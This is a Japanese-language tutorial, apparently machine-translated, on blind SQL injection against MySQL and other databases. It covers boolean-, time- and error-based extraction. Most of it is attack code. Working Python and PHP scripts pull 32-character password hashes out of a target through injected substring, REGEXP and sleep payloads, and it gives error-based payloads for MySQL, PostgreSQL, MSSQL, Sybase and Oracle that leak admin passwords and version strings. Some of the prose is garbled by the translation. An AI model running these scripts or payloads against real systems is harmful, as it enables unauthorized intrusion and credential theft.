まず、ブラインドベットについて簡単に紹介しましょう。ブラインドベットとは、直接表示ルートではアクセスできないデータベースデータを取得する方法です。ブラインドベットでは、攻撃者は返すページの差分に基づいて情報を判断します。一般的に、ブラインドベットは3つのカテゴリーに分けられます。
Booleanbase
Timebase
Errorbaseこれらのカテゴリの最初の「ブーリアン」は、最もよく遭遇する一般的なブラインドです。
例えば、where文の中で、1=1と記述することで、異なるページを返すことができます。
mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row時間ベースのブラインドベットは、その後、mysqlは主に2つの関数が含まれ、スリープbanchmarkは基本的に次のように使用されます。
mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)エラー報告に基づくブラインドベットでは、サイトがデータベースエラー報告情報を表示する必要があります。
もちろん、すべてのアスキーコードを暴力的にテストすることもできますが、何度も試行する必要があります。
32ビットのハッシュを例にとると、総当たりで推測するには16*32=512回のクエリーが必要です。大文字、小文字、特殊文字を含む32ビットの文字列なら?おそらく72 * 32 = 2304クエリが必要でしょう。ブラインド・クエリの回数を減らすために、一般的には以下の方法が使われます。
単語頻度の統計
英語における文字の頻度を推測するのは、ユーザー名のような意味のある文字列に限られ、ハッシュのような不規則な文字列には適用できません。ウィキには文字が使われる頻度の統計があります。
より身近なところでは、二重文字の単語頻度を利用してさらに効率を上げることができます。例えば、thは英語で高い確率で出現します。そして、最初の文字がtであった後、次の文字はまずhを推測します。
ps.この方法の効率は?顔によるとしか言いようがありません。
二分ルックアップ、ビット単位のトランスポートアルゴリズム:
同じことをするので、この2つを一緒にすると、文字列が試行される回数がlog(n)*長さに減ります。
まず第一に、二分探索、それは、順序付けられたシーケンスとして可能な文字の原則ですので、検索する要素の検索では、まず第一に、比較される要素のシーケンスの真ん中で、要素よりも大きい場合は、検索の後半の現在のシーケンスでは、要素よりも小さい場合は、検索の前半の現在のシーケンスでは、同じ要素まで、またはシーケンスの検索範囲が空になるまで。
1つのハッシュを決定するためにハッシュを見つけるためにリターンを使用すると、わずか4クエリ、つまり、32ビットのハッシュを決定するために、わずか126要求、クエリの数を大幅に削減します。
バイナリ検索用のPyhtonソースコードです。
import urllib
import urllib2
def doinject(payload):
url = 'xxxxxxxxxxxxxxxxxxxxx'
values = {'injection':payload,'inject':'Inject'}
data = urllib.urlencode(values)
#print data
req = urllib2.Request(url, data)
req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
response = urllib2.urlopen(req)
the_page = response.read()
if (the_page.find("Welcome back")>0):
return True
else:
return False
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,33):
s=0
t=15
while (s<t):
if (t-s==1):
if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'):
m=t
break
else:
m=s
break
m=(s+t)/2
if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'):
s=m+1
print wordlist[s]+":"+wordlist[t]
else:
t=m
print wordlist[s]+":"+wordlist[t]
res = res+wordlist[m]
print res
ここではまた、正規表現を使用してルックアップphpの実装をバイセクトする
$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
$sPost = 'inject=Inject&injection=';
$sCharset = 'ABCDEF0123456789';
/* for every character */
for ($i=0, $hash=''; $i<32; ++$i) {
$ch = $sCharset;
do {
$ch1 = substr($ch, 0, intval(strlen($ch)/2));
$ch2 = substr($ch, intval(strlen($ch)/2));
$p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
$res = libHTTP::POST($sUrl, $p);
if (strpos($res['content'], 'Your password is wrong') === false)
$ch = $ch1;
else
$ch = $ch2;
} while (strlen($ch) > 1);
$hash .= $ch;
echo "
hash: ".$hash;
}
ps: 上のコードはすべて32ビットハッシュ用のブラインドです。
さらにビット演算は、リクエストごとにバイナリの1ビットを決定する原理で、アスキーコードの連続区間の時間複雑度はlog(n)*長さであるため、バイナリ検索と比較すると用途が限定されます。
mysqlのビット演算の&演算は、主に推測を行うために使用され、例えば、aのアスキーコードが1100001の場合、1,2,4,8,16 ....を使用することができます。
mysql> select ord('a') & 1;
+--------------+
| ord('a') & 1 |
+--------------+
| 1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 2;
+--------------+
| ord('a') & 2 |
+--------------+
| 0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 4;
+--------------+
| ord('a') & 4 |
+--------------+
| 0 |
+--------------+
1 row in set (0.00 sec)時間ベースのブラインド:
上記の方法は、すべて返されたページの差によって情報を得るので、理論的には、毎回、せいぜい1バイナリビットを決定することができます。しかし、ブラインド処理で情報を得るのに役立つもう一つの重要な要素があり、それはページの戻り時間の長さです。文字のasciiコードは、以下の文で1回のリクエストで決定することができます。もしそれが32ビットのハッシュ文字列であれば、答えを得るために必要なリクエストは32だけです。
' or sleep(ord(substr(password,1,1))) --利用ステートメントは一般的に次のように記述します。
mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)ベンチマークの代わりにスリープを使うことをお勧めします。スリープはCPUを消費せず、より安定しているからです。
32ビットハッシュのブラインドベッティングアルゴリズムを以下に示します。
import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
values = {'injection':payload,'inject':'Inject'}
data = urllib.urlencode(values)
#print data
req = urllib2.Request(url, data)
req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
start = time()
response = urllib2.urlopen(req)
end = time()
#print response.read()
index = int(end-start)
print 'index:'+ str(index)
print 'char:' + wordlist[index-1]
return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
res = res+wordlist[num-1]
print resここでもう1つ注意すべき点は、where文のsleepは複数回計算されますが、実際のアプリケーションでは、テーブル内のレコード数に基づいて、適切な処理を行う必要があります。
例えば、2つのレコードからなるテーブルがあります。
select count(*) from test;
+----------+
| count(*) |
+----------+
| 2 |
+----------+直接クエリを実行すると、両方のレコードがクエリのトリガーとなるため、12秒のsleep()遅延が2回発生します。
select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (12.00 sec)というのも、andの前の式がfalseの場合、その後ろの式は実行されないからです。
select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (6.00 sec)ps.この方法は不安定なネットワークを非常に恐れます。
報告されたエラーに基づくブラインドベット:
ページがデータに対してエラーメッセージを表示した場合、エラーメッセージを使用して必要な情報をポップアウトすることができます。
例えば、mysqlではエラー報告に次のような古典的なステートメントを使うことができます。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
これはインターネットで広く出回っているバージョンで、簡略化すると次のような形になります。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))クリティカル・テーブルが無効になっている場合は、次の形式を使用できます。
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))randが無効になっている場合は、ユーザー変数を使ってエラーを報告することができます。
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)これは実はmysqlのバグによるもので、他のデータベースではこの問題によるエラーは報告されません。
さらに、mysqlバージョン5.1には、エラー報告に使用できる2つの新しいxml関数があります。
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'また、他のデータベースでは、エラーレポートを構成するために異なるアプローチを使用することができます。
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--




